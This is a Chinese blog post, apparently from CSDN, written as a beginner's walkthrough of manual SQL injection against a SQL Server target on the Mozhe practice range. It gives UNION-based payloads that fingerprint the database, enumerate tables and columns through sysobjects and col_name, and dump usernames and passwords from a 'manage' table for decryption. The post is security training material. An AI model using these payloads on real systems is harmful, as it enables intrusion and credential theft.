MMSQL手工注入-练习总结

MMSQL即sql-server,解法上跟mysql大体相似,语法不同,今天在墨者靶场练了下,新手问题还是蛮多的,在此总结和大家一起探讨提升。
在这里插入图片描述就是这个了,Let’s go!

one 判断是否为MMSQL注入:

and exists(select * from sysobjects)
or
and exists(select count(*) from sysobjects)
在这里插入图片描述
页面显示正常,更改id值为假时页面异常,则判断为MMSQL注入。

TWO 猜解字段长度

跟mysql一样是order by
在这里插入图片描述
在这里插入图片描述
慢慢试,发现值为5时异常,则判断字段数有4个。

Three 猜解回显的字段

mysql用的是1,2,3……,而MMSQL用的则是null,null,null……(null表示无论是数字形式还是字符形式)
在这里插入图片描述
在这里插入图片描述
通过将null改为数字或者字符(字符就是要带引号)来确定回显字段(当然也可以跳过上一步的null直接试,注意引号千万不要打错成中文的!!)

Four 获取数据库名db_name()

db_name():返回当前数据库库名 。
在这里插入图片描述

Five 获取数据库表名

?id=-2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype = 'u'),'3',null

dbo是每个数据库的默认用户,具有所有者权限,可省略(但是…不能省)
MMSQL没有limit,读取条数用top关键字
name就是表名信息,xtype是代表表的类型(值为u的时候进行搜索,只能是u/U,如果是其他的值并不能搜索出现)在这里插入图片描述

Six 获取列名

id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',null

(col_name是系统函数,用法col_name(obj_id,col_id)),依次改变col_id的值得到想要的表。
在这里插入图片描述
在这里插入图片描述

Seven 获取数据

id=-2 union all select null,(select top 1 username from manage),(select top 1 password from manage),null

select top 1 username from manage查询manage表中的用户名username
select top 1 password from manage查询manage表中的密码password
在这里插入图片描述
最后将得到的密码解密出来就行啦~~
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值